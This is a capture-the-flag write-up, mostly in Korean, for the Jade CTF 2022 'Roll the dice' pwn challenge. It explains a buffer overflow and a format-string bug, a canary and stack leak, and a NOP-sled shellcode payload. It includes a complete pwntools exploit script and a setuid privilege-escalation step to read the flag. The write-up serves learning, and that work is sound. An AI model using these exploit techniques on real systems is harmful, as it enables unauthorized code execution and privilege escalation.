Jade CTF 2022 - Roll the dice (Shellcode, NOP Sled)

Info

(18/630) solves

description

Roll the dice, enter the coupon. Did you win? No? No worries. Try again. Life’s all about chances.

nc 34.76.206.46 10006

for player

1
2
.
└── chall

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 choose_option()
{
int choice; // [rsp+Ch] [rbp-4h] BYREF

printf("\nEnter your choice: ");
__isoc99_scanf("%d", &choice);
getchar();
putchar(10);
if ( choice == 1 )
{
roll_the_dice();
}
else if ( choice == 2 )
{
if ( coupon ) // checking the global variable for ROP
{
puts("Sorry, but you only get one chance to enter the coupon code!");
}
else
{
coupon = 1;
enter_coupon(); // only 1 time
}
}
else
{
puts("It's too sad to see you go :(");
quit = 1;
}
if ( quit )
exit(0);
return choose_option();
}

이 함수에서 메뉴를 고를 수 있다.

1
2
3
4
5
6
Welcome To The Festive Lottery!

1. Roll the dice!
2. Enter a coupon code
3. Exit
Enter your choice:

1번 메뉴는 roll_the_dice() 함수를 실행시켜준다.
2번 메뉴에서 여러가지 검사를 한다. coupon 전역 변수를 검사하는데, player가 한 번만 enter_coupon() 함수만 실행시킬 수 있다는 것을 의미한다.

1. Roll the dice!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int roll_the_dice()
{
int result; // eax

switch ( rand() % 6 )
{
case 0:
result = puts("Hurray! You got a 1");
break;
case 1:
case 2:
case 3:
puts("Congrats! You won a flag!");
result = win();
break;
case 4:
result = puts("Ah! You just missed it");
break;
case 5:
if ( got_6 )
{
result = puts("Sorry, you can avail this offer only once!");
}
else
{
got_6 = 1;
another_chance = 1;
result = puts("You get another chance to enter the coupon!");
}
break;
default:
result = puts("Did you tamper with the dice? This number should not be there!");
break;
}
return result;
}

case 3일때 출력해주는 저 flag는 가짜 플래그이다.

case 5의 another_chance에 주목해보자. 미리 이야기하자면 이 전역 변수는 2번 메뉴인 enter_coupon() 함수에서 사용된다.

got_6 전역 변수는 이런 another_chance를 단 한번만 1로 세팅할 수 있다는 것을 의미하는 것 같다.

2. Enter a coupon code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
unsigned __int64 enter_coupon()
{
char input[96]; // [rsp+10h] [rbp-D0h] BYREF
char coupon_code[14]; // [rsp+70h] [rbp-70h] BYREF
__int16 v3; // [rsp+7Eh] [rbp-62h]
char v4[80]; // [rsp+80h] [rbp-60h] BYREF
int v5; // [rsp+D0h] [rbp-10h]
unsigned __int64 v6; // [rsp+D8h] [rbp-8h]

v6 = __readfsqword(0x28u);
strcpy(coupon_code, "YCHHZZHHMSHWI");
v3 = 0;
memset(v4, 0, sizeof(v4));
v5 = 0;
while ( 1 )
{
printf("Enter the coupon code: ");
gets(input); // bof
if ( !strcmp(input, coupon_code) ) // same as cooupon code
{
successfull = 1;
puts("Coupon applied successfully!");
goto LABEL_7;
}
printf("Invalid coupon code! You entered: ");
printf(input); // fsb
putchar(10);
if ( !another_chance ) // if another_chance = 1 ?
break; // pass
puts("You get one more chance to enter the coupon!");
another_chance = 0; // if another_chance == 1,
// It can make another_chance = 0.
}
puts("No more chances left!");
LABEL_7:
if ( successfull != 1 ) // if (input != coupon_code), I can't do ROP.
// => should (input == coupon_code)
choose_option();
return __readfsqword(0x28u) ^ v6;
}

해당 함수를 열어보면 bof와 fsb 취약점이 하나씩 눈에 보인다.

1번 메뉴 roll_the_dice() 함수에서 봤던 another_chance 전역 변수에 주목해보자.

bof가 먼저 터지고 fsb가 그 다음 터진다. 그리고 another_chance 전역 변수를 사용한다. 얘가 1이면 break가 되지 않고 while을 한 번 더 돌 수 있게 된다. 그리고 해당 전역 변수를 0으로 set한다.

이 말은 뭐다? 루프를 두 번 돌 수 있다. 즉, bof와 fsb를 한 번 더 활용할 수 있다는 뜻.

그리고 프로그램 흐름을 바꾸기 위해서 ret를 바꿔줘야하는데, 이를 위해선 함수 return을 해야한다. 코드를 보면 coupon_code를 틀리면 successfull 전역 변수가 0으로 유지되어 함수가 종료되기 전에 choose_option() 함수를 실행하게 된다. 그러면 안되기 때문에 coupon_code를 맞춰주어서 successfull을 1로 set해줘야한다.

마침 스택에 우리의 input 다음에 coupon_code가 위치하고 있기 때문에 굳이 input에 “YCHHZZHHMSHWI”을 적지 않아도 우회할 수 있다.

Vulnerability

취약점은 위에서 봤듯 enter_coupon() 함수에서 bof와 fsb가 발생한다. canary와 pie가 걸려있기 때문에 fsb로 이것을 릭해야하는 필요성을 느낀다.

Exploit

우리는 bof와 fsb가 순차적으로 두 번씩 터진다. 생각해보면, pie를 굳이 릭할 필요가 없다. 왜냐하면 NX bit disabled이기 때문에 우리는 스택에서 쉘코드를 실행시킬 수 있다.

stack 주소를 릭해서 우리의 input buf와 얼마나 떨어져있는지 offset을 구할 수 있기 때문에 return 주소를 거기로 돌려줄 수 있다.

이때 익스 확률을 높이기 위해 NOP Sled를 해줬다. 이 때 페이로드 구성은 아래와 같다.

1
`\x00`  * (0xd0-0x62) + NOP sled + shellcode + canary + sfp + ret(input buf)

input 크기와 coupon_code 크기를 합친 만큼 \x00을 넣어주었다. 하드코딩된 coupon_code을 맞춰서 적지 않아줘도 strcmp를 손쉽게 우회할 수 있다.

그럼 쉘코드 실행이 성공하게 되고 쉘을 획득할 수 있다. 코드 설명할 떄 언급했듯이 플래그의 위치는 정 다른 곳에 위치하고 있다. ls -al *을 이용해서 진짜 플래그처럼 보이는 것을 찾아보았다.

1
2
3
4
5
6
opt:
total 28
drwxr-x--- 1 0 1000 4096 Oct 22 03:03 .
drwxr-x--- 1 0 1000 4096 Oct 22 04:05 ..
-rwxr----- 1 0 1001 36 Oct 21 05:21 real_flag.txt
-rwsr-sr-x 1 0 1001 13440 Oct 22 03:03 worker

진짜 플래그는 /opt/real_flag.txt에 위치하고 있다. 문제는 권한이 없어서 플래그를 읽을 수가 없다.

1
2
$ cat /opt/real_flag.txt
cat: /opt/real_flag.txt: Permission denied

그래서 아래 setuid가 걸린 worker 파일을 이용해서 파일을 실행시킴으로써 권한상승을 해준 뒤에 그 권한으로 read_flag.txt를 읽어줘야 한다.

한 마디로 worker 바이너리를 익스해야 한다. 이것을 위해서 리모트의 worker 바이너리를 로컬로 복사하는 작업이 필요한데, 나는 base64를 이용해서 바이너리를 복사해주었다.

1
base64 -w0 /opt/worker 

로컬에서 파일 하나 만들어서 base64한 것을 붙인 다음 디코딩을 하면 된다.

1
2
3
vi aa
base64 -d aa > worker
chmod +x worker

이 worker 바이너리를 익스하게 되면 worker 권한으로 권한 상승이 되었기 때문에 최종적으로 real_flag.txt를 읽을 수 있다. worker 바이너리 익스는 간단하기 때문에 따로 언급하지 않겠다.

Exploit Scenario

Part 1

  1. case 5 실행할 때까지 1번 메뉴 실행
  2. 2번 메뉴에서 canary 및 stack 주소 릭한 후, input buf 주소 계산 (첫 번째 루프)
  3. payload 구성 (두 번째 루프)
    • \x00… + NOP sled + shellcode + canary + sfp + ret(input buf) # \x00으로 strcmp 검사 통과

Part 2

  1. 리모트 쉘을 딴 후 /opt/worker 익스 진행
  2. 권한 상승 후 real_flag.txt 읽기

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context.arch = 'amd64'

#p = process('./chall')
p = remote('34.76.206.46', 10006)
e = ELF('./chall')
libc = e.libc

def enter(inp):
p.sendlineafter('choice:', b'2')
p.sendlineafter('code:', inp)


def roll():
while True:
p.sendlineafter('choice:', b'1')
try:
p.recvline()
want = p.recvline()
if b'You get another' in want:
print(want)
return
else:
continue
except Exception as e:
print(e)

roll()

## canary 33

enter('%33$p %34$p')

p.recvuntil('d: ')
leak = p.recvline().decode()
canary = int(leak.split(' ')[0], 16)
stack_leak = int(leak.split(' ')[1], 16)

#canary = int(p.recvline()[2:], 16)
info('canary :: ' + hex(canary))

info('stack leak :: ' + hex(stack_leak))
buf = stack_leak - 0x80
info('buf :: ' + hex(buf))

sh = asm('sub rsp, 0x1000\n'+shellcraft.sh())
print(hex(len(sh)))

payload = b'\x00' * (0xd0-0x62)
payload = payload.ljust(0xd0-0x8-len(sh), b'\x90')

payload += sh
payload += p64(canary)
print(hex(len(payload)))

payload += p64(0)
payload += p64(buf)

pause()
p.sendlineafter('code:', payload)

# PART 2 ##################################################
p.sendline('./opt/worker')

win = 0x40090c

payload = b''
payload += b'\x00' * (0x50+0x8)
payload += p64(win)

p.sendlineafter('number:\n', b'1')
p.sendlineafter('name:\n', payload)

p.interactive()

shellcode를 아래처럼 구성해준 이유

1
sh = asm('sub rsp, 0x1000\n'+shellcraft.sh())

shellcraft.sh()만하면 안되나? 왜 sub rsp, 0x1000을 추가했을까?

없는 경우 스택을 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
────────────────────────────────────────────────────── registers ────

$rsp : 0x007ffd7b94f028 → 0x0000000000000008
$rip : 0x007ffd7b94f029 → 0x0000000000000000
────────────────────────────────────────────────────────── stack ────
0x7ffd7b94f024 xor esi, esi
0x7ffd7b94f026 push rsi
0x7ffd7b94f027 push 0x8
→ 0x7ffd7b94f029 add BYTE PTR [rax], al
0x7ffd7b94f02b add BYTE PTR [rax], al
0x7ffd7b94f02d add BYTE PTR [rax], al
0x7ffd7b94f02f add BYTE PTR [rax], al
0x7ffd7b94f031 add BYTE PTR [rax], al
0x7ffd7b94f033 add BYTE PTR [rax], al

.. 쉘코드를 실행하다가 멈췄다. 쉘코드가 저장된 곳에 값을 쓰고 있어서 한마디로 실행할 코드가 저장된 곳이 스택인데 그 스택에 이것저것 쓰면서 사용하고 있기 때문에 실행할 코드가 더럽혀졌다.

그래서 sub rsp, 0x1000을 추가해서 사용하는 스택이랑 쉘코드가 저장되는 스택이랑 다르게 위치시켜주었다.

Flag

1
jadeCTF{d1d_y0u_l1k3_th3_du4l_pwn?}

tmi

대회 끝나고 풀었다. 이 바이너리에서 취약점은 비교적 찾기 쉽지만.. flag를 얻기 위한 과정이 순탄치 않았다……….. 새롭게 알게된 것이 있다. base64를 이용해서 리모트 파일을 복사해온다는 정도?

그리고 원래 알고 있었지만 문제 풀 때 리마인드 된 것들.
예를 들면 return address를 건들기 위해서는 함수 return을 해줘야 한다거나, NX bit가 해제되어 있으면 스택에서 Shellcode를 실행시킬 수 있고, 이때 익스 확률을 높이기 위해서 NOP Sled를 할 수 있다는 것 정도?